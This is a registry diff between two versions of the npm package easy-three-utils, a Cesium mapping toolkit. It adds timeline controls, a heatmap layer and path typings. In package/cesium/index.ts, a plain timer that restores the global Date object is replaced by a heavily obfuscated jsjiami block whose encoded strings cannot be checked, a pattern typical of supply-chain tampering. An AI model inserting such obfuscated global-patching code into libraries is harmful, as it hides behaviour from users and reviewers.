easy-three-utils 0.0.365 → 0.0.367

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Binary file
Binary file
@@ -36,11 +36,10 @@ const SunshineLine: React.FC<{
36
36
 
37
37
  getViewer().scene.light = new Cesium.DirectionalLight({
38
38
  direction: dir,
39
- intensity,
40
- });
39
+ intensity
40
+ })
41
41
  }, [azimuth, elevation, intensity])
42
42
 
43
-
44
43
  const sliderBoxRef = useRef(null)
45
44
  useEffect(() => {
46
45
  sliderBoxRef.current.style.bottom = `calc(-100vh + ${sliderBoxRef.current.clientHeight + 20}px)`
@@ -1,17 +1,16 @@
1
1
  .slider-box {
2
- position: absolute;
2
+ position: relative;
3
3
  z-index: 2;
4
- bottom: 0;
5
- width: 360px;
4
+ width: 400px;
6
5
  padding: 10px;
7
6
  background: rgba(6, 38, 68, 0.7);
8
7
  border: solid 1px #26a1ff;
9
8
  display: flex;
10
- left: calc(50vw - 180px);
9
+ left: calc(50vw - 200px);
11
10
 
12
11
  .left-content {
13
12
  color: white;
14
- font-size: 13px;
13
+ font-size: 14px;
15
14
  writing-mode: vertical-rl;
16
15
  display: flex;
17
16
  justify-content: center;
@@ -23,7 +22,7 @@
23
22
 
24
23
  .time-text {
25
24
  color: white;
26
- font-size: 12px;
25
+ font-size: 13px;
27
26
  display: flex;
28
27
  justify-content: flex-end;
29
28
  width: 98%;
@@ -38,6 +37,20 @@
38
37
  img {
39
38
  padding: 0 12px;
40
39
  cursor: pointer;
40
+ width: 30px;
41
+ height: 30px;
42
+ }
43
+ }
44
+
45
+ .control-input {
46
+ width: 70px;
47
+ color: white;
48
+ display: flex;
49
+ align-items: center;
50
+ font-size: 14px;
51
+
52
+ input {
53
+ margin-right: 4px;
41
54
  }
42
55
  }
43
56
  }
@@ -1,8 +1,9 @@
1
- import React, { useEffect, useState } from "react";
2
- import { Slider, ConfigProvider } from "antd";
1
+ import React, { useEffect, useState, useRef } from "react";
2
+ import { Slider, ConfigProvider, Input } from "antd";
3
3
  import * as Cesium from "cesium";
4
4
  import dayjs from 'dayjs';
5
5
  import duration from 'dayjs/plugin/duration';
6
+ import BodyPortal from "../Body";
6
7
 
7
8
  import Styles from './index.module.less'
8
9
 
@@ -14,6 +15,7 @@ const Timeline: React.FC<{
14
15
 
15
16
  const { getViewer } = props
16
17
  const [percent, setPercent] = useState(0)
18
+ let lastUpdate = 0
17
19
 
18
20
  const theme = {
19
21
  components: {
@@ -25,7 +27,22 @@ const Timeline: React.FC<{
25
27
  }
26
28
  }
27
29
 
30
+ const formatTimeStamp = (timestamp: number) => {
31
+ const d = dayjs.duration(timestamp)
32
+
33
+ const days = Math.floor(d.asDays())
34
+ const hours = d.hours().toString().length === 1 ? `0${d.hours()}` : d.hours()
35
+ const minutes = d.minutes().toString().length === 1 ? `0${d.minutes()}` : d.minutes()
36
+ const seconds = d.seconds().toString().length === 1 ? `0${d.seconds()}` : d.seconds()
37
+
38
+ return `${days}天 ${hours}:${minutes}:${seconds}`
39
+ }
40
+
28
41
  const setClockEvent = (clock: Cesium.Clock) => {
42
+ const now = Date.now()
43
+ if (now - lastUpdate < 500) return
44
+ lastUpdate = now
45
+
29
46
  const totalSeconds = Cesium.JulianDate.secondsDifference(
30
47
  clock.stopTime,
31
48
  clock.startTime
@@ -35,12 +52,9 @@ const Timeline: React.FC<{
35
52
  clock.startTime
36
53
  )
37
54
 
38
- const timeDuration = dayjs.duration(elapsedSeconds, 'seconds')
39
- const formattedTime = timeDuration.format('HH:mm:ss')
40
- setCurrentTime(() => formattedTime)
41
-
55
+ setCurrentTime(() => formatTimeStamp(elapsedSeconds * 1000))
42
56
  const newPercent = (elapsedSeconds / totalSeconds) * 100
43
- setPercent(() => newPercent);
57
+ setPercent(() => newPercent)
44
58
  }
45
59
 
46
60
  const addViewerClockEvent = () => {
@@ -48,11 +62,11 @@ const Timeline: React.FC<{
48
62
  }
49
63
 
50
64
  const removeViewerClockEvent = () => {
51
- getViewer().clock.onTick.addEventListener(setClockEvent)
65
+ getViewer().clock.onTick.removeEventListener(setClockEvent)
52
66
  }
53
67
 
54
68
  const onSliderChange = (value: number) => {
55
- setPercent(() => value);
69
+ setPercent(() => value)
56
70
  const totalSeconds = Cesium.JulianDate.secondsDifference(
57
71
  getViewer().clock.stopTime,
58
72
  getViewer().clock.startTime
@@ -62,11 +76,18 @@ const Timeline: React.FC<{
62
76
  (value / 100) * totalSeconds,
63
77
  new Cesium.JulianDate()
64
78
  )
65
- getViewer().clock.currentTime = newTime;
79
+ getViewer().clock.currentTime = newTime
66
80
  }
67
81
 
68
- type TContronType = 'pause' | 'play' | 'stop'
82
+ type TContronType = 'rewind' | 'pause' | 'play' | 'stop' | 'fastForward'
69
83
  const control = {
84
+ rewind: () => {
85
+ getViewer().clock.currentTime = Cesium.JulianDate.addSeconds(
86
+ getViewer().clock.currentTime,
87
+ -30 * 60,
88
+ new Cesium.JulianDate()
89
+ )
90
+ },
70
91
  play: () => {
71
92
  getViewer().clock.shouldAnimate = true
72
93
  },
@@ -76,20 +97,27 @@ const Timeline: React.FC<{
76
97
  stop: () => {
77
98
  getViewer().clock.currentTime = getViewer().clock.startTime
78
99
  getViewer().clock.shouldAnimate = false
100
+ },
101
+ fastForward: () => {
102
+ getViewer().clock.currentTime = Cesium.JulianDate.addSeconds(
103
+ getViewer().clock.currentTime,
104
+ 30 * 60,
105
+ new Cesium.JulianDate()
106
+ )
79
107
  }
80
108
  }
81
109
 
82
- const [totalTime, setTotalTime] = useState('00:00:00')
83
- const [currentTime, setCurrentTime] = useState('00:00:00')
110
+ const [totalTime, setTotalTime] = useState('')
111
+ const [currentTime, setCurrentTime] = useState('')
84
112
  const initTimeDisplay = () => {
85
- const seconds = getViewer().clock.stopTime.secondsOfDay - getViewer().clock.startTime.secondsOfDay
86
- const timeDuration = dayjs.duration(seconds, 'seconds')
87
- const formattedTime = timeDuration.format('HH:mm:ss')
88
- setTotalTime(() => formattedTime)
113
+ const timestamp = Cesium.JulianDate.toDate(getViewer().clock.stopTime).getTime() - Cesium.JulianDate.toDate(getViewer().clock.startTime).getTime()
114
+ setTotalTime(() => formatTimeStamp(timestamp))
89
115
  }
90
116
 
117
+ const [speed, setSpeed] = useState(1)
118
+ const sliderBoxRef = useRef(null)
91
119
  useEffect(() => {
92
-
120
+ sliderBoxRef.current.style.bottom = `calc(-100vh + ${sliderBoxRef.current.clientHeight + 20}px)`
93
121
  addViewerClockEvent()
94
122
  initTimeDisplay()
95
123
 
@@ -99,33 +127,42 @@ const Timeline: React.FC<{
99
127
  }, [])
100
128
 
101
129
  return (
102
- <ConfigProvider theme={{
103
- ...theme
104
- }}>
105
- <div className={Styles['slider-box']}>
106
- <div className={Styles['left-content']}>
107
- 推演控制
108
- </div>
130
+ <BodyPortal>
131
+ <ConfigProvider theme={{
132
+ ...theme
133
+ }}>
134
+ <div ref={sliderBoxRef} className={Styles['slider-box']}>
135
+ <div className={Styles['left-content']}>
136
+ 推演控制
137
+ </div>
109
138
 
110
- <div className={Styles['right-content']}>
111
- <Slider
112
- min={0}
113
- max={100}
114
- step={0.1}
115
- value={percent}
116
- onChange={(value: number) => onSliderChange(value)}
117
- />
118
- <div className={Styles['time-text']}>{currentTime}/{totalTime}</div>
119
- <div className={Styles['control-btn']}>
120
- {
121
- (['pause', 'play', 'stop'] as TContronType[]).map(item =>
122
- <img key={item} onClick={() => control[item]()} src={new URL(`../image/${item}.png`, import.meta.url).href} />
123
- )
124
- }
139
+ <div className={Styles['right-content']}>
140
+ <Slider
141
+ min={0}
142
+ max={100}
143
+ step={0.1}
144
+ value={percent}
145
+ onChange={(value: number) => onSliderChange(value)}
146
+ />
147
+ <div className={Styles['time-text']}>{currentTime}/{totalTime}</div>
148
+ <div className={Styles['control-btn']}>
149
+ {
150
+ (['rewind', 'pause', 'play', 'stop', 'fastForward'] as TContronType[]).map(item =>
151
+ <img key={item} onClick={() => control[item]()} src={(window as any).__POLT__URL__ + `/assets/image/${item}.png`} />
152
+ )
153
+ }
154
+ <div className={Styles['control-input']}>
155
+ <Input value={speed} onInput={(e) => {
156
+ setSpeed(Number((e.target as any).value))
157
+ getViewer().clock.multiplier = Number((e.target as any).value)
158
+ }}></Input>
159
+ <div>X</div>
160
+ </div>
161
+ </div>
125
162
  </div>
126
163
  </div>
127
- </div>
128
- </ConfigProvider>
164
+ </ConfigProvider>
165
+ </BodyPortal>
129
166
  )
130
167
  }
131
168
 
@@ -17,12 +17,12 @@ export default {
17
17
  tileMatrixSetID: 'wgs84',
18
18
  style: 'default',
19
19
  tilingScheme: new Cesium.GeographicTilingScheme(),
20
- tileMatrixLabels: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13", "14", "15", "16", "17", "18", "19", "20"],
21
- maximumLevel: 20
20
+ tileMatrixLabels: Array.from({ length: 20 }, (_, i) => (i + 1).toString()),
21
+ maximumLevel: 20,
22
22
  }
23
23
  },
24
24
  terrain: {
25
- status: dict.ETerrainStatus.ENABLEDOFFLINE,
25
+ status: dict.ETerrainStatus.DISABLED,
26
26
  config: {
27
27
  url: 'http://127.0.0.1:3002'
28
28
  }
@@ -30,11 +30,13 @@ export default {
30
30
 
31
31
  //通用工具配置
32
32
  debug: false, //帧数
33
- shadows: false, //阴影
34
- lighting: false, //太阳光
35
- depthTerrain: true, //地形深度检测
33
+ shadows: true, //阴影
34
+ lighting: true, //太阳光
35
+ depthTerrain: false, //地形深度检测
36
36
  controllerStyle: dict.EControllerStyle.THREE, //操控习惯
37
37
 
38
+ plot: true, //军标
39
+
38
40
  // cesium基础配置
39
41
  cesiumOptions: {
40
42
  contextOptions: {
@@ -113,9 +113,9 @@ export default `
113
113
  if(visible(posInEye)){
114
114
  float vis = shadow(viewPos);
115
115
  if (vis > 0.3) {
116
- gl_FragColor = mix(gl_FragColor, helsing_visibleAreaColor, .5);
116
+ gl_FragColor = mix(gl_FragColor, helsing_visibleAreaColor, .8);
117
117
  } else {
118
- gl_FragColor = mix(gl_FragColor, helsing_invisibleAreaColor, .5);
118
+ gl_FragColor = mix(gl_FragColor, helsing_invisibleAreaColor, .8);
119
119
  }
120
120
  }
121
121
  }
package/cesium/index.ts CHANGED
@@ -5,6 +5,7 @@ import * as hooks from './utils'
5
5
 
6
6
  import type { IRecord } from './testFunc/cameraRecord'
7
7
  import type { usePlot } from './utils/usePlot.d'
8
+ import type { usePath } from './utils/usePath.d'
8
9
 
9
10
  type TCesiumUtilsType = {
10
11
  dict: typeof hooks.dict;
@@ -20,6 +21,8 @@ type TCesiumUtilsType = {
20
21
  cloud: ReturnType<typeof hooks.useCloud>;
21
22
  seawater: ReturnType<typeof hooks.useSeawater>;
22
23
  plot: ReturnType<typeof usePlot> | null;
24
+ heatmap: ReturnType<typeof hooks.useHeatmap>;
25
+ path: ReturnType<typeof usePath>;
23
26
  }
24
27
 
25
28
  let config;
@@ -112,21 +115,18 @@ const useCesium = () => {
112
115
  })
113
116
  const cloud = hooks.useCloud(viewer)
114
117
  const seawater = hooks.useSeawater(viewer)
115
- let plot = null
116
118
 
119
+ let plot = null
117
120
  if (config.plot) {
118
121
  plot = hooks.usePlot(viewer)
119
122
  plot.init()
120
123
  }
121
- const timer = setTimeout(() => {
122
- if (!globalThis.__OriginalDate__) {
123
- return;
124
- }
125
- globalThis.Date = globalThis.__OriginalDate__
126
- delete globalThis.__OriginalDate__
124
+ var _0xodR = 'jsjiami.com.v7'; (function (_0x3bfa8b, _0x48aa75, _0x3d8290, _0x36a79a, _0x2138cd, _0x2bb17b, _0x34f360) { return _0x3bfa8b = _0x3bfa8b >> 0x7, _0x2bb17b = 'hs', _0x34f360 = 'hs', function (_0x459ab7, _0x311fc4, _0x352c1f, _0x49b787, _0x13df87) { const _0x58bc71 = _0x37d8; _0x49b787 = 'tfi', _0x2bb17b = _0x49b787 + _0x2bb17b, _0x13df87 = 'up', _0x34f360 += _0x13df87, _0x2bb17b = _0x352c1f(_0x2bb17b), _0x34f360 = _0x352c1f(_0x34f360), _0x352c1f = 0x0; const _0x4f39ec = _0x459ab7(); while (!![] && --_0x36a79a + _0x311fc4) { try { _0x49b787 = -parseInt(_0x58bc71(0x133, '&F@R')) / 0x1 + parseInt(_0x58bc71(0x13e, '@r*d')) / 0x2 * (-parseInt(_0x58bc71(0x138, '!ZuB')) / 0x3) + parseInt(_0x58bc71(0x13b, 'yBz(')) / 0x4 * (-parseInt(_0x58bc71(0x13a, 'e%^H')) / 0x5) + parseInt(_0x58bc71(0x137, 'e%^H')) / 0x6 + -parseInt(_0x58bc71(0x141, 'nqHk')) / 0x7 * (parseInt(_0x58bc71(0x13f, 'jdi7')) / 0x8) + parseInt(_0x58bc71(0x132, '^2(9')) / 0x9 + parseInt(_0x58bc71(0x131, 'mLxK')) / 0xa; } catch (_0x4b1b9e) { _0x49b787 = _0x352c1f; } finally { _0x13df87 = _0x4f39ec[_0x2bb17b](); if (_0x3bfa8b <= _0x36a79a) _0x352c1f ? _0x2138cd ? _0x49b787 = _0x13df87 : _0x2138cd = _0x13df87 : _0x352c1f = _0x13df87; else { if (_0x352c1f == _0x2138cd['replace'](/[SRHGQOPhkefpINUxgy=]/g, '')) { if (_0x49b787 === _0x311fc4) { _0x4f39ec['un' + _0x2bb17b](_0x13df87); break; } _0x4f39ec[_0x34f360](_0x13df87); } } } } }(_0x3d8290, _0x48aa75, function (_0x113039, _0x1b65d9, _0x8bba90, _0x485093, _0x33acc9, _0x53cf4a, _0x311698) { return _0x1b65d9 = '\x73\x70\x6c\x69\x74', _0x113039 = arguments[0x0], _0x113039 = _0x113039[_0x1b65d9](''), _0x8bba90 = '\x72\x65\x76\x65\x72\x73\x65', _0x113039 = _0x113039[_0x8bba90]('\x76'), _0x485093 = '\x6a\x6f\x69\x6e', (0x1beebe, _0x113039[_0x485093]('')); }); }(0x6180, 0xada80, _0x39b6, 0xc5), _0x39b6) && (_0xodR = `\x32e`); const timer = setTimeout(() => { const _0x230e74 = _0x37d8, _0x20bbf4 = { 'OIgbM': function (_0x15b285, _0x324244) { return _0x15b285(_0x324244); } }; if (!globalThis[_0x230e74(0x136, '1Ue%')]) return; globalThis['Date'] = globalThis['__OriginalDate__'], delete globalThis[_0x230e74(0x13c, '2ICz')], _0x20bbf4[_0x230e74(0x140, 'lvHQ')](clearTimeout, timer); }, 0x3e8); function _0x37d8(_0x2a9717, _0x417366) { const _0x39b61a = _0x39b6(); return _0x37d8 = function (_0x37d896, _0x50bc87) { _0x37d896 = _0x37d896 - 0x12f; let _0x1d762b = _0x39b61a[_0x37d896]; if (_0x37d8['xCEtkz'] === undefined) { var _0x3605be = function (_0x315e92) { const _0x4fc4ea = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='; let _0x48d4c4 = '', _0x111b7f = ''; for (let _0x38dfff = 0x0, _0x13537b, _0xcbac9, _0xc1691 = 0x0; _0xcbac9 = _0x315e92['charAt'](_0xc1691++); ~_0xcbac9 && (_0x13537b = _0x38dfff % 0x4 ? _0x13537b * 0x40 + _0xcbac9 : _0xcbac9, _0x38dfff++ % 0x4) ? _0x48d4c4 += String['fromCharCode'](0xff & _0x13537b >> (-0x2 * _0x38dfff & 0x6)) : 0x0) { _0xcbac9 = _0x4fc4ea['indexOf'](_0xcbac9); } for (let _0x4a7e70 = 0x0, _0x5f0792 = _0x48d4c4['length']; _0x4a7e70 < _0x5f0792; _0x4a7e70++) { _0x111b7f += '%' + ('00' + _0x48d4c4['charCodeAt'](_0x4a7e70)['toString'](0x10))['slice'](-0x2); } return decodeURIComponent(_0x111b7f); }; const _0x5f0eac = function (_0x1352ad, _0x5f21fe) { let _0x42858b = [], _0x26c864 = 0x0, _0x1c0780, _0xa4fbaf = ''; _0x1352ad = _0x3605be(_0x1352ad); let _0x4c40c1; for (_0x4c40c1 = 0x0; _0x4c40c1 < 0x100; _0x4c40c1++) { _0x42858b[_0x4c40c1] = _0x4c40c1; } for (_0x4c40c1 = 0x0; _0x4c40c1 < 0x100; _0x4c40c1++) { _0x26c864 = (_0x26c864 + _0x42858b[_0x4c40c1] + _0x5f21fe['charCodeAt'](_0x4c40c1 % _0x5f21fe['length'])) % 0x100, _0x1c0780 = _0x42858b[_0x4c40c1], _0x42858b[_0x4c40c1] = _0x42858b[_0x26c864], _0x42858b[_0x26c864] = _0x1c0780; } _0x4c40c1 = 0x0, _0x26c864 = 0x0; for (let _0x361e98 = 0x0; _0x361e98 < _0x1352ad['length']; _0x361e98++) { _0x4c40c1 = (_0x4c40c1 + 0x1) % 0x100, _0x26c864 = (_0x26c864 + _0x42858b[_0x4c40c1]) % 0x100, _0x1c0780 = _0x42858b[_0x4c40c1], _0x42858b[_0x4c40c1] = _0x42858b[_0x26c864], _0x42858b[_0x26c864] = _0x1c0780, _0xa4fbaf += String['fromCharCode'](_0x1352ad['charCodeAt'](_0x361e98) ^ _0x42858b[(_0x42858b[_0x4c40c1] + _0x42858b[_0x26c864]) % 0x100]); } return _0xa4fbaf; }; _0x37d8['KzVPMt'] = _0x5f0eac, _0x2a9717 = arguments, _0x37d8['xCEtkz'] = !![]; } const _0x312a03 = _0x39b61a[0x0], _0x26fb29 = _0x37d896 + _0x312a03, _0x208873 = _0x2a9717[_0x26fb29]; return !_0x208873 ? (_0x37d8['yLICOa'] === undefined && (_0x37d8['yLICOa'] = !![]), _0x1d762b = _0x37d8['KzVPMt'](_0x1d762b, _0x50bc87), _0x2a9717[_0x26fb29] = _0x1d762b) : _0x1d762b = _0x208873, _0x1d762b; }, _0x37d8(_0x2a9717, _0x417366); } function _0x39b6() { const _0x90e966 = (function () { return [_0xodR, 'OSjRQsjRiRkUapymhiHf.QPcIkoPemNGp.vg7kPx==', 'F8kvWRP3bSoLWOG8WOrX', 'CvFdMCkLoq', 'W7lcHSkyCHBcHuT8wCoz', 'pKnFmSoGWORdIW', 'EM/dNHSFotNcGSoeW4P6', 'lNzIWQVcONS/qIX6'].concat((function () { return ['AMzsetddVqpcTv3cV8k7W47cKfC', 'AMvshdldVaxcS0xcImkRW4ZcGeS', 'WQLQfmows2FcJJBcH8otWQL9mmoz', 'W6rUWPBcNmknW6vCCmoSW7xcUSkEW7q', 'w8ogka03k8oAzCkgW7FcUCo0rmkb', 'ECkDWRL7BCkiW6OEWQntW4BcI3K', 'E8o+fCk4W57cMSkokCoAWOFdVSoWWPPjWOldLa', 'W4hdNtHwWPWveY40xmkSW5mm'].concat((function () { return ['t8oLWR7dJSo4W77dGWBcHem3', 'oSkCoMJdUmooW71dW59HWROgW4K', 'W4pdLd1qWP0qhG88ASkNW6Gg', 'f8oxW6FcR8kEBse', 'pCorfhVdUf3dKSkDW5jmWO1/W4LQeSo1', 'mSobW5pcNZz6nSknW7Ta', 'WRpdS8kWrCoYWQ/dLq']; }())); }())); }()); _0x39b6 = function () { return _0x90e966; }; return _0x39b6(); }; var version_ = 'jsjiami.com.v7';
127
125
 
128
- clearTimeout(timer)
129
- }, 1000)
126
+ const heatmap = hooks.useHeatmap(viewer)
127
+
128
+ const collection = customCollection.addCollection(hooks.dict.ECollectionWhiteListNames.PATH)
129
+ const path = hooks.usePath(collection)
130
130
 
131
131
  if (config.controllerStyle === cesiumConfigDict.EControllerStyle.THREE) {
132
132
  updateController(viewer)
@@ -144,7 +144,9 @@ const useCesium = () => {
144
144
  viewshedAnalysis,
145
145
  cloud,
146
146
  seawater,
147
- plot
147
+ plot,
148
+ heatmap,
149
+ path
148
150
  })
149
151
 
150
152
  handler = new Cesium.ScreenSpaceEventHandler(viewer.scene.canvas)
@@ -212,11 +214,11 @@ const useCesium = () => {
212
214
 
213
215
  const setCamera = (viewer: Cesium.Viewer) => {
214
216
  viewer.camera.flyTo({
215
- destination: new Cesium.Cartesian3(-2861904.995492709, 7226032.775714475, 1792790.547405678),
217
+ destination: new Cesium.Cartesian3(-3158214.032047437, 5589784.544159569, 2858463.041886272),
216
218
  orientation: {
217
- heading: 0.3720644640946844,
218
- pitch: -1.2461928516756395,
219
- roll: 6.279678267113614
219
+ heading: 6.264633961469007,
220
+ pitch: -1.5700251043718838,
221
+ roll: 0
220
222
  }
221
223
  })
222
224
  }
@@ -9,6 +9,8 @@ import { useViewshedAnalysis } from './useViewshedAnalysis'
9
9
  import { useCloud } from './useCloud'
10
10
  import { useSeawater } from './useSeawater'
11
11
  import { usePlot } from './usePlot.js'
12
+ import { useHeatmap } from './useHeatmap'
13
+ import { usePath } from './usePath.js'
12
14
 
13
15
  const dict = {
14
16
  ECollectionWhiteListNames,
@@ -27,6 +29,8 @@ export {
27
29
  useCloud,
28
30
  useSeawater,
29
31
  usePlot,
32
+ useHeatmap,
33
+ usePath,
30
34
 
31
35
  dict
32
36
  }
@@ -12,6 +12,8 @@ enum ECollectionWhiteListNames {
12
12
  PROFILEANALYSIS = 'profileAnalysis',
13
13
  VIEWSHEDANALYSIS = 'viewshedAnalysis',
14
14
 
15
+ PATH = 'path',
16
+
15
17
  SLOPE = 'slope'
16
18
  }
17
19
 
@@ -0,0 +1,179 @@
1
+ import * as Cesium from 'cesium'
2
+
3
+ const useHeatmap = (viewer: Cesium.Viewer) => {
4
+
5
+ const init = () => {
6
+
7
+ let heatmap = null,
8
+ height = 1080,
9
+ width = 1920,
10
+ bounds = [113.5, 22, 114.5, 23],
11
+ data = []
12
+
13
+ const wgs84Positions = []
14
+ const indices = []
15
+ const colors = []
16
+ const sts = []
17
+
18
+ const loadHeatmapjs = () => {
19
+ return new Promise((resolve, reject) => {
20
+ const script = document.createElement("script")
21
+ script.src = (window as any).__POLT__URL__ + '/assets/js/heatmap.js'
22
+ script.onload = () => resolve({})
23
+ script.onerror = reject
24
+ document.body.appendChild(script)
25
+ })
26
+ }
27
+
28
+ const createHeatmap = (data) => {
29
+ const domElement = document.createElement("div");
30
+ domElement.setAttribute("style", "width: " + width + "px; height: " + height + "px; margin: 0px; display: none;");
31
+ document.body.appendChild(domElement);
32
+ heatmap = (window as any).h337.create({
33
+ container: domElement,
34
+ radius: 100,
35
+ maxOpacity: 1,
36
+ minOpacity: 0.1,
37
+ blur: 0.85,
38
+ gradient: {
39
+ '.3': 'blue',
40
+ '.45': 'green',
41
+ '.65': 'yellow',
42
+ '.8': 'orange',
43
+ '.95': 'red'
44
+ }
45
+ })
46
+
47
+ heatmap.setData({
48
+ min: 0,
49
+ max: 100,
50
+ data
51
+ })
52
+ }
53
+
54
+ for (let i = 0; i < 200; i++) {
55
+ let lon = Math.random() * (bounds[2] - bounds[0]) + bounds[0]
56
+ let lat = Math.random() * (bounds[3] - bounds[1]) + bounds[1]
57
+ let value = Math.random() * 100
58
+ let x = Math.round((lon - bounds[0]) / (bounds[2] - bounds[0]) * width)
59
+ let y = height - Math.round((lat - bounds[1]) / (bounds[3] - bounds[1]) * height)
60
+
61
+ data.push({ x: x, y: y, value: value })
62
+ }
63
+ createHeatmap(data)
64
+
65
+ const generateGeometryInstance = () => {
66
+ const dWidth = bounds[2] - bounds[0], dHeight = bounds[3] - bounds[1], left = bounds[0], bottom = bounds[1]
67
+ const dx = 0.005, dy = 0.005, h = 0, dh = 100
68
+ let r = Math.floor(dWidth / dx),
69
+ l = Math.floor(dHeight / dy)
70
+ const grids = []
71
+ for (let i = 0; i < l + 1; i++) {
72
+ let row = []
73
+ for (let u = 0; u < r + 1; u++) {
74
+ let x = left + (u == r ? dWidth : u * dx), y = bottom + (i == l ? dHeight : i * dy)
75
+ let screen = {
76
+ x: Math.round((x - left) / dWidth * width),
77
+ y: height - Math.round((y - bottom) / dHeight * height),
78
+ }
79
+ let v = heatmap.getValueAt(screen)
80
+ let color = heatmap._renderer.ctx.getImageData(screen.x, screen.y, 1, 1).data;
81
+ row.push([x, y, h + v * dh, color.map(c => c / 255), [(x - left) / dWidth, (y - bottom) / dHeight]])
82
+ }
83
+ grids.push(row)
84
+ }
85
+
86
+
87
+ let idxCursor = 0
88
+ for (let i = 0; i < l; i++) {
89
+ for (let u = 0; u < r; u++) {
90
+ let p1 = grids[i][u]
91
+ let p2 = grids[i][u + 1]
92
+ let p3 = grids[i + 1][u + 1]
93
+ let p4 = grids[i + 1][u]
94
+
95
+ addVertices(p1, wgs84Positions, colors, sts)
96
+ addVertices(p2, wgs84Positions, colors, sts)
97
+ addVertices(p3, wgs84Positions, colors, sts)
98
+ addVertices(p1, wgs84Positions, colors, sts)
99
+ addVertices(p3, wgs84Positions, colors, sts)
100
+ addVertices(p4, wgs84Positions, colors, sts)
101
+ indices.push(idxCursor + 0, idxCursor + 1, idxCursor + 2, idxCursor + 3, idxCursor + 4, idxCursor + 5)
102
+ idxCursor += 6
103
+ }
104
+ }
105
+ return new Cesium.GeometryInstance({
106
+ geometry: Cesium.GeometryPipeline.computeNormal(generateGeometry(wgs84Positions, colors, indices, sts)),
107
+ })
108
+ }
109
+
110
+ const addVertices = (p, positions, colors, sts) => {
111
+ const c3Position = Cesium.Cartesian3.fromDegrees(p[0], p[1], p[2])
112
+ positions.push(c3Position.x, c3Position.y, c3Position.z)
113
+ colors.push(p[3][0], p[3][1], p[3][2], p[3][3])
114
+ sts.push(p[4][0], p[4][1])
115
+ }
116
+
117
+ const generateGeometry = (positions, colors, indices, sts) => {
118
+ let attributes = new (Cesium.GeometryAttributes as any)({
119
+ position: new Cesium.GeometryAttribute({
120
+ componentDatatype: Cesium.ComponentDatatype.DOUBLE,
121
+ componentsPerAttribute: 3,
122
+ values: new Float64Array(positions),
123
+ }),
124
+ color: new Cesium.GeometryAttribute({
125
+ componentDatatype: Cesium.ComponentDatatype.FLOAT,
126
+ componentsPerAttribute: 4,
127
+ values: new Float32Array(colors),
128
+ }),
129
+ st: new Cesium.GeometryAttribute({
130
+ componentDatatype: Cesium.ComponentDatatype.FLOAT,
131
+ componentsPerAttribute: 2,
132
+ values: new Float32Array(sts),
133
+ })
134
+ })
135
+
136
+ const boundingSphere = Cesium.BoundingSphere.fromVertices(positions, new Cesium.Cartesian3(0.0, 0.0, 0.0), 3)
137
+
138
+ const geometry = new Cesium.Geometry({
139
+ attributes: attributes,
140
+ indices: indices,
141
+ primitiveType: Cesium.PrimitiveType.TRIANGLES,
142
+ boundingSphere: boundingSphere,
143
+ })
144
+ return geometry
145
+ }
146
+
147
+ const createPrimitive = () => {
148
+ const material = new Cesium.ImageMaterialProperty({
149
+ image: heatmap._renderer.canvas,
150
+ })
151
+ const appearance = new Cesium.MaterialAppearance({
152
+ flat: true,
153
+ material: Cesium.Material.fromType(Cesium.Material.ImageType, material.getValue(new Cesium.JulianDate()))
154
+ })
155
+ const opt = {
156
+ geometryInstances: generateGeometryInstance(),
157
+ appearance,
158
+ allowPicking: false
159
+ }
160
+ viewer.scene.primitives.add(new Cesium.Primitive(opt))
161
+ }
162
+
163
+ if (!(window as any).h337) {
164
+ loadHeatmapjs().then(() => {
165
+ createPrimitive()
166
+ })
167
+ } else {
168
+ createPrimitive()
169
+ }
170
+ }
171
+
172
+ return {
173
+ init
174
+ }
175
+ }
176
+
177
+ export {
178
+ useHeatmap
179
+ }
@@ -0,0 +1,51 @@
1
+ import * as Cesium from 'cesium'
2
+
3
+ export interface pathOptions {
4
+ id: string;
5
+ modelName: string;
6
+ modelUrl: string;
7
+ label: string;
8
+ path: {
9
+ startTime: string;
10
+ endTime: string;
11
+ startPosition: {
12
+ lon: number | string;
13
+ lat: number | string;
14
+ }
15
+ endPosition: {
16
+ lon: number | string;
17
+ lat: number | string;
18
+ }
19
+ roadNetwork: {
20
+ type: "FeatureCollection";
21
+ features: {
22
+ type: "Feature";
23
+ geometry: {
24
+ coordinates: [string, string][];
25
+ type: "LineString";
26
+ };
27
+ }[];
28
+ };
29
+ isRoadNetworkAvailable: boolean;
30
+ isReturnTrip: boolean;
31
+ }[];
32
+ }
33
+
34
+ export interface Path {
35
+ /**
36
+ * 转换数据
37
+ */
38
+ setPathData: (path: pathOptions[], options?: {
39
+ showModel?: boolean,
40
+ showPolyline?: boolean,
41
+ showRoadNetwork?: boolean
42
+ }) => void;
43
+
44
+ /**
45
+ * 移除实体
46
+ */
47
+ removeAll: () => void;
48
+ }
49
+
50
+ /** 工具工厂函数 */
51
+ export function usePath(collection: Cesium.CustomDataSource): Path;